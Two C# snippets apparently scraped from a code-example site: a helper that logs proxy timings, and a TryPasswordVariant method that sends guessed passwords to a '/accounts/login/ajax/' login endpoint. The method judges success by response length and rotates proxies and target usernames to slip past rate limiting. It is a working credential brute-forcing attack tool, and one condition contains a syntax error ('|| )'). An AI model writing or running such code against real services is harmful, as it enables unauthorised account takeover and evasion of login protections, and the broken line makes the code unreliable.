Example #1
0
 public void SaveProxyTimes() =>
 File.AppendAllLines(
     "ProxyTimes.txt",
     ProxyTimes.Select(
         kv => Proxies[kv.Key].GetProxy(new Uri("https://google.com")) + " :=: " + kv.Value.Average().ToString()
         )
     );
Example #2
0
        public bool TryPasswordVariant(string password)
        {
            //Cookies = new CookieContainer();

            RestRequest request = new RestRequest("/accounts/login/ajax/", Method.POST);

            request.AddParameter("password", password, ParameterType.GetOrPost);
            ProxyTimer.Restart();
            var response = _client.Execute(request);

            ProxyTimer.Stop();
            if (!response.IsSuccessful || response.ContentLength == 127)
            {
                if (++ProxyIndex >= Proxies.Length)
                {
                    ProxyIndex = 0;
                    SaveProxyTimes();
                }

                var lastProxy = _client.Proxy;
                _client.Proxy = Proxies[ProxyIndex];
                ProxyTimer.Restart();
                response = _client.Execute(request);
                ProxyTimer.Stop();

                if (!response.IsSuccessful || response.ContentLength == 127)
                {
                    _client.Proxy = lastProxy;
                    --ProxyIndex;

                    if (CurrentUserIteration > Proxies.Length / 2 ||)
                    {
                        var now = DateTime.Now;
                        UsernameRefreshTimes[UsernameIndex] = now.AddMinutes(12);
                        if (++UsernameIndex == Usernames.Length)
                        {
                            UsernameIndex = 0;
                        }
                        var nextRefresh = UsernameRefreshTimes[UsernameIndex];
                        if (nextRefresh > now)
                        {
                            Console.WriteLine("Sleeping until {0}", nextRefresh);
                            Thread.Sleep((int)(nextRefresh - now).TotalMilliseconds);
                        }

                        Console.WriteLine("{0} variants tested\t-\tswitching to account {1}", VariantsTried, Usernames[UsernameIndex]);
                        _client.DefaultParameters.First(p => p.Name == "username").Value = Usernames[UsernameIndex];
                        ProxyTimer.Restart();
                        response = _client.Execute(request);
                        ProxyTimer.Stop();
                    }
                    else
                    {
                        int lastIndex = ProxyIndex;
                        do
                        {
                            _client.Proxy = Proxies[ProxyIndex];
                            ProxyTimer.Restart();
                            response = _client.Execute(request);
                            ProxyTimer.Stop();
                        } while ((!response.IsSuccessful || response.ContentLength == 127) && ++ProxyIndex < Proxies.Length);

                        if (!response.IsSuccessful)
                        {
                            ProxyIndex = 0;
                            do
                            {
                                _client.Proxy = Proxies[ProxyIndex];
                                ProxyTimer.Restart();
                                response = _client.Execute(request);
                                ProxyTimer.Stop();
                            } while ((!response.IsSuccessful || response.ContentLength == 127) && ++ProxyIndex < lastIndex);
                        }
                    }

                    if (!response.IsSuccessful || response.ContentLength == 127)
                    {
                        SaveProxyTimes();
                        Console.WriteLine("Total failure, last password was {0}; {1} total variants tried", password, VariantsTried);
                        Console.ReadLine();
                    }
                }
            }

            if (!DontLogTimes.Contains(ProxyIndex))
            {
                if (ProxyTimes.ContainsKey(ProxyIndex))
                {
                    ProxyTimes[ProxyIndex].Add(ProxyTimer.ElapsedMilliseconds);
                }
                else
                {
                    ProxyTimes.Add(ProxyIndex, new List <long>()
                    {
                        ProxyTimer.ElapsedMilliseconds
                    });
                }
            }

            ++VariantsTried;
            ++CurrentUserIteration;
            ++CurrentProxyIteration;
            return(response.ContentLength > 60);
        }